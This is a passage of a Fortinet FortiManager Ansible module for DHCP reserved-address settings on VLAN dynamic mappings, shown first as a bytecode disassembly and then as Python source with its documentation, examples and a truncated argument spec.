'6.2.8', '6.2.9', '6.2.10', '6.2.11', '6.2.12', '6.4.0', '6.4.1', '6.4.2', '6.4.3', '6.4.4', '6.4.5', '6.4.6', '6.4.7', '6.4.8', '6.4.9', '6.4.10', '6.4.11', '6.4.12', '6.4.13', '7.0.0', '7.0.1', '7.0.2', '7.0.3', '7.0.4', '7.0.5', '7.0.6', '7.0.7', '7.0.8', '7.0.9', '7.0.10', '7.2.0', '7.2.1', '7.2.2', '7.2.3', '7.2.4', '7.4.0', '7.4.1') BUILD_CONST_KEY_MAP LOAD_CONST 'hex' LOAD_CONST 'string' BUILD_LIST LOAD_CONST 'str' LOAD_CONST ('required', 'revision', 'choices', 'type') BUILD_CONST_KEY_MAP LOAD_CONST False LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST False LOAD_CONST ('6.0.0', '6.2.0', '6.2.1', '6.2.2', '6.2.3', '6.2.5', '6.2.6', '6.2.7', '6.2.8', '6.2.9', '6.2.10', '6.2.11', '6.2.12', '6.4.0', '6.4.1', '6.4.2', '6.4.3', '6.4.4', '6.4.5', '6.4.6', '6.4.7', '6.4.8', '6.4.9', '6.4.10', '6.4.11', '6.4.12', '6.4.13', '7.0.0', '7.0.1', '7.0.2', '7.0.3', '7.0.4', '7.0.5', '7.0.6', '7.0.7', '7.0.8', '7.0.9', '7.0.10', '7.2.0', '7.2.1', '7.2.2', '7.2.3', '7.2.4', '7.4.0', '7.4.1') BUILD_CONST_KEY_MAP LOAD_CONST 'str' LOAD_CONST ('required', 'revision', 'type') BUILD_CONST_KEY_MAP LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST False LOAD_CONST ('6.0.0', '6.2.0', '6.2.1', '6.2.2', '6.2.3', '6.2.5', '6.2.6', '6.2.7', '6.2.8', '6.2.9', '6.2.10', '6.2.11', '6.2.12', '6.4.0', '6.4.1', '6.4.2', '6.4.3', '6.4.4', '6.4.5', '6.4.6', '6.4.7', '6.4.8', '6.4.9', '6.4.10', '6.4.11', '6.4.12', '6.4.13', '7.0.0', '7.0.1', '7.0.2', '7.0.3', '7.0.4', '7.0.5', '7.0.6', '7.0.7', '7.0.8', '7.0.9', '7.0.10', '7.2.0', '7.2.1', '7.2.2', '7.2.3', '7.2.4', '7.4.0', '7.4.1') BUILD_CONST_KEY_MAP LOAD_CONST 'int' LOAD_CONST ('required', 'revision', 'type') BUILD_CONST_KEY_MAP LOAD_CONST False LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST False LOAD_CONST ('6.0.0', '6.2.0', '6.2.1', '6.2.2', '6.2.3', '6.2.5', '6.2.6', '6.2.7', '6.2.8', '6.2.9', '6.2.10', '6.2.11', '6.2.12', '6.4.0', '6.4.1', '6.4.2', '6.4.3', '6.4.4', '6.4.5', '6.4.6', '6.4.7', '6.4.8', '6.4.9', '6.4.10', '6.4.11', '6.4.12', '6.4.13', '7.0.0', '7.0.1', '7.0.2', '7.0.3', '7.0.4', '7.0.5', '7.0.6', '7.0.7', '7.0.8', '7.0.9', '7.0.10', '7.2.0', '7.2.1', '7.2.2', '7.2.3', '7.2.4', '7.4.0', '7.4.1') BUILD_CONST_KEY_MAP LOAD_CONST 'str' LOAD_CONST ('required', 'revision', 'type') BUILD_CONST_KEY_MAP LOAD_CONST False LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST False LOAD_CONST ('6.0.0', '6.2.0', '6.2.1', '6.2.2', '6.2.3', '6.2.5', '6.2.6', '6.2.7', '6.2.8', '6.2.9', '6.2.10', '6.2.11', '6.2.12', '6.4.0', '6.4.1', '6.4.2', '6.4.3', '6.4.4', '6.4.5', '6.4.6', '6.4.7', '6.4.8', '6.4.9', '6.4.10', '6.4.11', '6.4.12', '6.4.13', '7.0.0', '7.0.1', '7.0.2', '7.0.3', '7.0.4', '7.0.5', '7.0.6', '7.0.7', '7.0.8', '7.0.9', '7.0.10', '7.2.0', '7.2.1', '7.2.2', '7.2.3', '7.2.4', '7.4.0', '7.4.1') BUILD_CONST_KEY_MAP LOAD_CONST 'str' LOAD_CONST ('required', 'revision', 'type') BUILD_CONST_KEY_MAP LOAD_CONST False LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST False LOAD_CONST ('6.0.0', '6.2.0', '6.2.1', '6.2.2', '6.2.3', '6.2.5', '6.2.6', '6.2.7', '6.2.8', '6.2.9', '6.2.10', '6.2.11', '6.2.12', '6.4.0', '6.4.1', '6.4.2', '6.4.3', '6.4.4', '6.4.5', '6.4.6', '6.4.7', '6.4.8', '6.4.9', '6.4.10', '6.4.11', '6.4.12', '6.4.13', '7.0.0', '7.0.1', '7.0.2', '7.0.3', '7.0.4', '7.0.5', '7.0.6', '7.0.7', '7.0.8', '7.0.9', '7.0.10', '7.2.0', '7.2.1', '7.2.2', '7.2.3', '7.2.4', '7.4.0', '7.4.1') BUILD_CONST_KEY_MAP LOAD_CONST 'str' LOAD_CONST ('required', 'revision', 'type') BUILD_CONST_KEY_MAP LOAD_CONST False LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST False LOAD_CONST ('6.0.0', '6.2.0', '6.2.1', '6.2.2', '6.2.3', '6.2.5', '6.2.6', '6.2.7', '6.2.8', '6.2.9', '6.2.10', '6.2.11', '6.2.12', '6.4.0', '6.4.1', '6.4.2', '6.4.3', '6.4.4', '6.4.5', '6.4.6', '6.4.7', '6.4.8', '6.4.9', '6.4.10', '6.4.11', '6.4.12', '6.4.13', '7.0.0', '7.0.1', '7.0.2', '7.0.3', '7.0.4', '7.0.5', '7.0.6', '7.0.7', '7.0.8', '7.0.9', '7.0.10', '7.2.0', '7.2.1', '7.2.2', '7.2.3', '7.2.4', '7.4.0', '7.4.1') BUILD_CONST_KEY_MAP LOAD_CONST 'hex' LOAD_CONST 'string' BUILD_LIST LOAD_CONST 'str' LOAD_CONST ('required', 'revision', 'choices', 'type') BUILD_CONST_KEY_MAP LOAD_CONST False LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST False LOAD_CONST ('6.0.0', '6.2.0', '6.2.1', '6.2.2', '6.2.3', '6.2.5', '6.2.6', '6.2.7', '6.2.8', '6.2.9', '6.2.10', '6.2.11', '6.2.12', '6.4.0', '6.4.1', '6.4.2', '6.4.3', '6.4.4', '6.4.5', '6.4.6', '6.4.7', '6.4.8', '6.4.9', '6.4.10', '6.4.11', '6.4.12', '6.4.13', '7.0.0', '7.0.1', '7.0.2', '7.0.3', '7.0.4', '7.0.5', '7.0.6', '7.0.7', '7.0.8', '7.0.9', '7.0.10', '7.2.0', '7.2.1', '7.2.2', '7.2.3', '7.2.4', '7.4.0', '7.4.1') BUILD_CONST_KEY_MAP LOAD_CONST 'mac' LOAD_CONST 'option82' BUILD_LIST LOAD_CONST 'str' LOAD_CONST ('required', 'revision', 'choices', 'type') BUILD_CONST_KEY_MAP LOAD_CONST ('action', 'circuit-id', 'circuit-id-type', 'description', 'id', 'ip', 'mac', 'remote-id', 'remote-id-type', 'type') BUILD_CONST_KEY_MAP LOAD_CONST ('required', 'type', 'revision', 'options') BUILD_CONST_KEY_MAP LOAD_CONST ('access_token', 'bypass_validation', 'enable_log', 'forticloud_access_token', 'proposed_method', 'rc_succeeded', 'rc_failed', 'state', 'workspace_locking_adom', 'workspace_locking_timeout', 'adom', 'vlan', 'dynamic_mapping', 'fsp_vlan_dynamicmapping_dhcpserver_reservedaddress') BUILD_CONST_KEY_MAP STORE_FAST module_arg_spec BUILD_LIST STORE_FAST params_validation_blob LOAD_GLOBAL check_galaxy_version LOAD_FAST module_arg_spec CALL_FUNCTION POP_TOP LOAD_GLOBAL AnsibleModule LOAD_GLOBAL check_parameter_bypass LOAD_FAST module_arg_spec LOAD_CONST 'fsp_vlan_dynamicmapping_dhcpserver_reservedaddress' CALL_FUNCTION LOAD_CONST False LOAD_CONST ('argument_spec', 'supports_check_mode') CALL_FUNCTION STORE_FAST module LOAD_CONST None STORE_FAST fmgr LOAD_FAST module LOAD_ATTR _socket_path EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL Connection LOAD_FAST module LOAD_ATTR _socket_path CALL_FUNCTION STORE_FAST connection LOAD_FAST connection LOAD_METHOD set_option LOAD_CONST 'access_token' LOAD_CONST 'access_token' LOAD_FAST module LOAD_ATTR params COMPARE_OP in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST module LOAD_ATTR params LOAD_CONST 'access_token' BINARY_SUBSCR JUMP_FORWARD to 1400 LOAD_CONST None CALL_METHOD POP_TOP LOAD_FAST connection LOAD_METHOD set_option LOAD_CONST 'enable_log' LOAD_CONST 'enable_log' LOAD_FAST module LOAD_ATTR params COMPARE_OP in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST module LOAD_ATTR params LOAD_CONST 'enable_log' BINARY_SUBSCR JUMP_FORWARD to 1434 LOAD_CONST False CALL_METHOD POP_TOP LOAD_FAST connection LOAD_METHOD set_option LOAD_CONST 'forticloud_access_token' LOAD_CONST 'forticloud_access_token' LOAD_FAST module LOAD_ATTR params COMPARE_OP in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST module LOAD_ATTR params LOAD_CONST 'forticloud_access_token' BINARY_SUBSCR JUMP_FORWARD to 1468 LOAD_CONST None CALL_METHOD POP_TOP LOAD_GLOBAL NAPIManager LOAD_FAST jrpc_urls LOAD_FAST perobject_jrpc_urls LOAD_FAST module_primary_key LOAD_FAST url_params LOAD_FAST module LOAD_FAST connection LOAD_CONST 'data' LOAD_CONST ('top_level_schema_name',) CALL_FUNCTION STORE_FAST fmgr LOAD_FAST fmgr LOAD_METHOD validate_parameters LOAD_FAST params_validation_blob CALL_METHOD POP_TOP LOAD_FAST fmgr LOAD_ATTR process_curd LOAD_FAST module_arg_spec LOAD_CONST ('argument_specs',) CALL_FUNCTION POP_TOP JUMP_FORWARD to 1530 LOAD_FAST module LOAD_ATTR fail_json LOAD_CONST 'MUST RUN IN HTTPAPI MODE' LOAD_CONST ('msg',) CALL_FUNCTION POP_TOP LOAD_FAST module LOAD_ATTR exit_json LOAD_FAST module LOAD_ATTR params LOAD_CONST ('meta',) CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE
from __future__ import absolute_import, division, print_function __metaclass__ = type ANSIBLE_METADATA = { "status": ["preview"], "supported_by": "community", "metadata_version": "1.1", } DOCUMENTATION = """ --- module: fmgr_fsp_vlan_dynamicmapping_dhcpserver_reservedaddress short_description: Options for the DHCP server to assign IP settings to specific MAC addresses. description: - This module is able to configure a FortiManager device. - Examples include all parameters and values which need to be adjusted to data sources before usage. version_added: "2.0.0" author: - Xinwei Du (@dux-fortinet) - Xing Li (@lix-fortinet) - Jie Xue (@JieX19) - Link Zheng (@chillancezen) - Frank Shen (@fshen01) - Hongbin Lu (@fgtdev-hblu) notes: - Running in workspace locking mode is supported in this FortiManager module, the top level parameters workspace_locking_adom and workspace_locking_timeout help do the work. - To create or update an object, use state present directive. - To delete an object, use state absent directive. - Normally, running one module can fail when a non-zero rc is returned. you can also override the conditions to fail or succeed with parameters rc_failed and rc_succeeded options: access_token: description: The token to access FortiManager without using username and password. required: false type: str bypass_validation: description: Only set to True when module schema diffs with FortiManager API structure, module continues to execute without validating parameters. required: false type: bool default: false enable_log: description: Enable/Disable logging for task. required: false type: bool default: false forticloud_access_token: description: Authenticate Ansible client with forticloud API access token. required: false type: str proposed_method: description: The overridden method for the underlying Json RPC request. required: false type: str choices: - update - set - add rc_succeeded: description: The rc codes list with which the conditions to succeed will be overriden. type: list required: false elements: int rc_failed: description: The rc codes list with which the conditions to fail will be overriden. type: list required: false elements: int state: description: The directive to create, update or delete an object. type: str required: true choices: - present - absent workspace_locking_adom: description: The adom to lock for FortiManager running in workspace mode, the value can be global and others including root. required: false type: str workspace_locking_timeout: description: The maximum time in seconds to wait for other user to release the workspace lock. required: false type: int default: 300 adom: description: the parameter (adom) in requested url type: str required: true vlan: description: the parameter (vlan) in requested url type: str required: true dynamic_mapping: description: the parameter (dynamic_mapping) in requested url type: str required: true fsp_vlan_dynamicmapping_dhcpserver_reservedaddress: description: the top level parameters set required: false type: dict suboptions: action: type: str description: no description choices: - 'assign' - 'block' - 'reserved' circuit-id: type: str description: no description circuit-id-type: type: str description: no description choices: - 'hex' - 'string' description: type: str description: no description id: type: int description: no description required: true ip: type: str description: no description mac: type: str description: no description remote-id: type: str description: no description remote-id-type: type: str description: no description choices: - 'hex' - 'string' type: type: str description: no description choices: - 'mac' - 'option82' """ EXAMPLES = """ - hosts: fortimanager-inventory collections: - fortinet.fortimanager connection: httpapi vars: ansible_httpapi_use_ssl: True ansible_httpapi_validate_certs: False ansible_httpapi_port: 443 tasks: - name: Options for the DHCP server to assign IP settings to specific MAC addresses. fmgr_fsp_vlan_dynamicmapping_dhcpserver_reservedaddress: bypass_validation: False workspace_locking_adom: <value in [global, custom adom including root]> workspace_locking_timeout: 300 rc_succeeded: [0, -2, -3, ...] rc_failed: [-2, -3, ...] adom: <your own value> vlan: <your own value> dynamic_mapping: <your own value> state: <value in [present, absent]> fsp_vlan_dynamicmapping_dhcpserver_reservedaddress: action: <value in [assign, block, reserved]> circuit-id: <string> circuit-id-type: <value in [hex, string]> description: <string> id: <integer> ip: <string> mac: <string> remote-id: <string> remote-id-type: <value in [hex, string]> type: <value in [mac, option82]> """ RETURN = """ meta: description: The result of the request. type: dict returned: always contains: request_url: description: The full url requested. returned: always type: str sample: /sys/login/user response_code: description: The status of api request. returned: always type: int sample: 0 response_data: description: The api response. type: list returned: always response_message: description: The descriptive message of the api response. type: str returned: always sample: OK. system_information: description: The information of the target system. type: dict returned: always rc: description: The status the request. type: int returned: always sample: 0 version_check_warning: description: Warning if the parameters used in the playbook are not supported by the current FortiManager version. type: list returned: complex """ from ansible.module_utils.basic import AnsibleModule from ansible.module_utils.connection import Connection from ansible_collections.fortinet.fortimanager.plugins.module_utils.napi import ( NAPIManager, ) from ansible_collections.fortinet.fortimanager.plugins.module_utils.napi import ( check_galaxy_version, ) from ansible_collections.fortinet.fortimanager.plugins.module_utils.napi import ( check_parameter_bypass, ) def main(): jrpc_urls = [ "/pm/config/adom/{adom}/obj/fsp/vlan/{vlan}/dynamic_mapping/{dynamic_mapping}/dhcp-server/reserved-address", "/pm/config/global/obj/fsp/vlan/{vlan}/dynamic_mapping/{dynamic_mapping}/dhcp-server/reserved-address", ] perobject_jrpc_urls = [ "/pm/config/adom/{adom}/obj/fsp/vlan/{vlan}/dynamic_mapping/{dynamic_mapping}/dhcp-server/reserved-address/{reserved-address}", "/pm/config/global/obj/fsp/vlan/{vlan}/dynamic_mapping/{dynamic_mapping}/dhcp-server/reserved-address/{reserved-address}", ] url_params = ["adom", "vlan", "dynamic_mapping"] module_primary_key = "id" module_arg_spec = { "access_token": {"type": "str", "required": False, "no_log": True}, "bypass_validation": {"type": "bool", "required": False, "default": False}, "enable_log": {"type": "bool", "required": False, "default": False}, "forticloud_access_token": {"type": "str", "required": False, "no_log": True}, "proposed_method": { "type": "str", "required": False, "choices": ["set", "update", "add"], }, "rc_succeeded": {"required": False, "type": "list", "elements": "int"}, "rc_failed": {"required": False, "type": "list", "elements": "int"}, "state": {"type": "str", "required": True, "choices": ["present", "absent"]}, "workspace_locking_adom": {"type": "str", "required": False}, "workspace_locking_timeout": {"type": "int", "required": False, "default": 300}, "adom": {"required": True, "type": "str"}, "vlan": {"required": True, "type": "str"}, "dynamic_mapping": {"required": True, "type": "str"}, "fsp_vlan_dynamicmapping_dhcpserver_reservedaddress": { "required": False, "type": "dict", "revision": { "6.0.0": True, "6.2.0": True, "6.2.1": True, "6.2.2": True, "6.2.3": True, "6.2.5": True, "6.2.6": True, "6.2.7": True, "6.2.8": True, "6.2.9": True, "6.2.10": True, "6.2.11": True, "6.2.12": True, "6.4.0": True, "6.4.1": True, "6.4.2": True, "6.4.3": True, "6.4.4": True, "6.4.5": True, "6.4.6": True, "6.4.7": True, "6.4.8": True, "6.4.9": True, "6.4.10": True, "6.4.11": True, "6.4.12": True, "6.4.13": True, "7.0.0": True, "7.0.1": True, "7.0.2": True, "7.0.3": True, "7.0.4": True, "7.0.5": True, "7.0.6": True, "7.0.7": True, "7.0.8": True, "7.0.9": True, "7.0.10": True, "7.2.0": True, "7.2.1": True, "7.2.2": True, "7.2.3": True, "7.2.4": True, "7.4.0": True, }, "options": { "action": { "required": False, "revision": { "6.0.0": True, "6.2.0": True, "6.2.1": True, "6.2.2": True, "6.2.3": True, "6.2.5": True, "6.2.6": True, "6.2.7": True, "6.2.8": True, "6.2.9": True, "6.2.10": True, "6.2.11": True, "6.2.12": True, "6.4.0": True, "6.4.1": True, "6.4.2": True, "6.4.3": True, "6.4.4": True, "6.4.5": True, "6.4.6": True, "6.4.7": True, "6.4.8": True, "6.4.9": True, "6.4.10": True, "6.4.11": True, "6.4.12": True, "6.4.13": True, "7.0.0": True, "7.0.1": True, "7.0.2": True, "7.0.3": True, "7.0.4": True, "7.0.5": True, "7.0.6": True, "7.0.7": True, "7.0.8": True, "7.0.9": True, "7.0.10": True, "7.2.0": True, "7.2.1": True, "7.2.2": True, "7.2.3": True, "7.2.4": True, "7.4.0": True, "7.4.1": False, }, "choices": ["assign", "block", "reserved"], "type": "str", }, "circuit-id": { "required": False, "revision": { "6.0.0": True, "6.2.0": True, "6.2.1": True, "6.2.2": True, "6.2.3": True, "6.2.5": True, "6.2.6": True, "6.2.7": True, "6.2.8": True, "6.2.9": True, "6.2.10": True, "6.2.11": True, "6.2.12": True, "6.4.0": True, "6.4.1": True, "6.4.2": True, "6.4.3": True, "6.4.4": True, "6.4.5": True, "6.4.6": True, "6.4.7": True, "6.4.8": True, "6.4.9": True, "6.4.10": True, "6.4.11": True, "6.4.12": True, "6.4.13": True, "7.0.0": True, "7.0.1": True, "7.0.2": True, "7.0.3": True, "7.0.4": True, "7.0.5": True, "7.0.6": True, "7.0.7": True, "7.0.8": True, "7.0.9": True, "7.0.10": True, "7.2.0": True, "7.2.1": True, "7.2.2": True, "7.2.3": True, "7.2.4": True, "7.4.0": True, "7.4.1": False, }, "type": "str", }, "circuit-id-type": { "required": False, "revision": { "6.0.0": True, "6.2.0": True, "6.2.1": True, "6.2.2": True, "6.2.3": True, "6.2.5": True, "6.2.6": True, "6.2.7": True, "6.2.8": True, "6.2.9": True, "6.2.10": True, "6.2.11": True, "6.2.12": True, "6.4.0": True, "6.4.1": True, "6.4.2": True, "6.4.3": True, "6.4.4": True, "6.4.5": True, "6.4.6": True, "6.4.7": True, "6.4.8": True, "6.4.9": True, "6.4.10": True, "6.4.11": True, "6.4.12": True, "6.4.13": True, "7.0.0": True, "7.0.1": True, "7.0.2": True, "7.0.3": True, "7.0.4": True, "7.0.5": True, "7.0.6": True, "7.0.7": True, "7.0.8": True, "7.0.9": True, "7.0.10": True, "7.2.0": True, "7.2.1": True, "7.2.2": True, "7.2.3": True, "7.2.4": True, "7.4.0": True, "7.4.1": False, }, "choices": ["hex", "string"], "type": "str", }, "description": { "required": False, "revision": { "6.0.0": True, "6.2.0": True, "6.2.1": True, "6.2.2": True, "6.2.3": True, "6.2.5": True, "6.2.6": True, "6.2.7": True, "6.2.8": True, "6.2.9": True, "6.2.10": True, "6.2.11": True, "6.2.12": True, "6.4.0": True, "6.4.1": True, "6.4.2": True, "6.4.3": True, "6.4.4": True, "6.4.5": True, "6.4.6": True, "6.4.7": True, "6.4.8": True, "6.4.9": True, "6.4.10": True, "6.4.11": True, "6.4.12": True, "6.4.13": True, "7.0.0": True, "7.0.1": True, "7.0.2": True, "7.0.3": True, "7.0.4": True, "7.0.5": True, "7.0.6": True, "7.0.7": True, "7.0.8": True, "7.0.9": True, "7.0.10": True, "7.2.0": True, "7.2.1": True, "7.2.2": True, "7.2.3": True, "7.2.4": True, "7.4.0": True, "7.4.1": False, }, "type": "str", }, "id": { "required": True, "revision": { "6.0.0": True, "6.2.0": True, "6.2.1": True, "6.2.2": True, "6.2.3": True, "6.2.5": True, "6.2.6": True, "6.2.7": True, "6.2.8": True, "6.2.9": True, "6.2.10": True, "6.2.11": True, "6.2.12": True, "6.4.0": True, "6.4.1": True, "6.4.2": True, "6.4.3": True, "6.4.4": True, "6.4.5": True, "6.4.6": True, "6.4.7": True, "6.4.8": True, "6.4.9": True, "6.4.10": True, "6.4.11": True, "6.4.12": True, "6.4.13": True, "7.0.0": True, "7.0.1": True, "7.0.2": True, "7.0.3": True, "7.0.4": True, "7.0.5": True, "7.0.6": True, "7.0.7": True, "7.0.8": True, "7.0.9": True, "7.0.10": True, "7.2.0": True, "7.2.1": True, "7.2.2": True, "7.2.3": True, "7.2.4": True, "7.4.0": True, "7.4.1": False, }, "type": "int", }, "ip": { "required": False, "revision": { "6.0.0": True, "6.2.0": True, "6.2.1": True, "6.2.2": True, "6.2.3": True, "6.2.5": True, "6.2.6": True, "6.2.7": True, "6.2.8": True, "6.2.9": True, "6.2.10": True, "6.2.11": True, "6.2.12": True, "6.4.0": True, "6.4.1": True, "6.4.2": True, "6.4.3": True, "6.4.4": True, "6.4.5": True, "6.4.6": True, "6.4.7": True, "6.4.8": True, "6.4.9": True, "6.4.10": True, "6.4.11": True, "6.4.12": True, "6.4.13": True, "7.0.0": True, "7.0.1": True, "7.0.2": True, "7.0.3": True, "7.0.4": True, "7.0.5": True, "7.0.6": True, "7.0.7": True, "7.0.8": True, "7.0.9": True, "7.0.10": True, "7.2.0": True, "7.2.1": True, "7.2.2": True, "7.2.3": True, "7.2.4": True, "7.4.0": True, "7.4.1": False, }, "type": "str", }, "mac": { "required": False, "revision": { "6.0.0": True, "6.2.0": True, "6.2.1": True, "6.2.2": True, "6.2.3": True, "6.2.5": True, "6.2.6": True, "6.2.7": True, "6.2.8": True, "6.2.9": True, "6.2.10": True, "6.2.11": True, "6.2.12": True, "6.4.0": True, "6.4.1": True, "6.4.2": True, "6.4.3": True, "6.4.4": True, "6.4.5": True, "6.4.6": True, "6.4.7": True, "6.4.8": True, "6.4.9": True, "6.4.10": True, "6.4.11": True, "6.4.12": True, "6.4.13": True, "7.0.0": True, "7.0.1": True, "7.0.2": True, "7.0.3": True, "7.0.4": True, "7.0.5": True, "7.0.6": True, "7.0.7": True, "7.0.8": True, "7.0.9": True, "7.0.10": True, "7.2.0": True, "7.2.1": True, "7.2.2": True, "7.2.3": True, "7.2.4": True, "7.4.0": True, "7.4.1": False, }, "type": "str", }, "remote-id": { "required": False, "revision": { "6.0.0": True, "6.2.0": True, "6.2.1": True, "6.2.2": True, "6.2.3": True, "6.2.5": True, "6.2.6": True, "6.2.7": True, "6.2.8": True, "6.2.9": True, "6.2.10": True, "6.2.11": True, "6.2.12": True, "6.4.0": True, "6.4.1": True, "6.4.2": True, "6.4.3": True, "6.4.4": True, "6.4.5": True, "6.4.6": True, "6.4.7": True, "6.4.8": True, "6.4.9": True, "6.4.10": True, "6.4.11": True, "6.4.12": True, "6.4.13": True, "7.0.0": True, "7.0.1": True, "7.0.2": True, "7.0.3": True, "7.0.4": True, "7.0.5": True, "7.0.6": True, "7.0.7": True, "7.0.8": True, "7.0.9": True, "7.0.10": True, "7.2.0": True, "7.2.1": True, "7.2.2": True, "7.2.3": True, "7.2.4": True, "7.4.0": True, "7.4.1": False, }, "type": "str", }, "remote-id-type": { "required": False, "revision": { "6.0.0": True, "6.2.0": True, "6.2.1": True, "6.2.2": True, "6.2.3": True, "6.2.5": True, "6.2.6": True, "6.2.7": True, "6.2.8": True, "6.2.9": True, "6.2.10": True, "6.2.11": True, "6.2.12": True, "6.4.0": True, "6.4.1": True, "6.4.2": True, "6.4.3": True, "6.4.4": True, "6.4.5": True, "6.4.6": True, "6.4.7": True, "6.4.8": True, "6.4.9": True, "6.4.10": True, "6.4.11": True, "6.4.12": True, "6.4.13": True, "7.0.0": True, "7.0.1": True, "7.0.2": True, "7.0.3": True, "7.0.4": True, "7.0.5": True, "7.0.6": True, "7.0.7": True, "7.0.8": True, "7.0.9": True, "7.0.10": True, "7.2.0": True, "7.2.1": True, "7.2.2": True, "7.2.3": True, "7.2.4": True, "7.4.0": True, "7.4.1": False, }, "choices": ["hex", "string"], "type": "str", }, "type": { "required": False, "revision": { "6.0.0": True, "6.2.0": True, "6.2.1": True, "6.2.2": True, "6.2.3": True, "6.2.5": True, "6.2.6": True, "6.2.7": True, "6.2.8": True, "6.2.9": True, "6.2.10": True, "6.2.11": True, "6.2.12": True, "6.4.0": True, "6.4.1": True, "6.4.2": True, "6.4.3": True, "6.4.4": True, "6.4.5": True, "6.4.6": True, "6.4.7": True, "6.4.8": True, 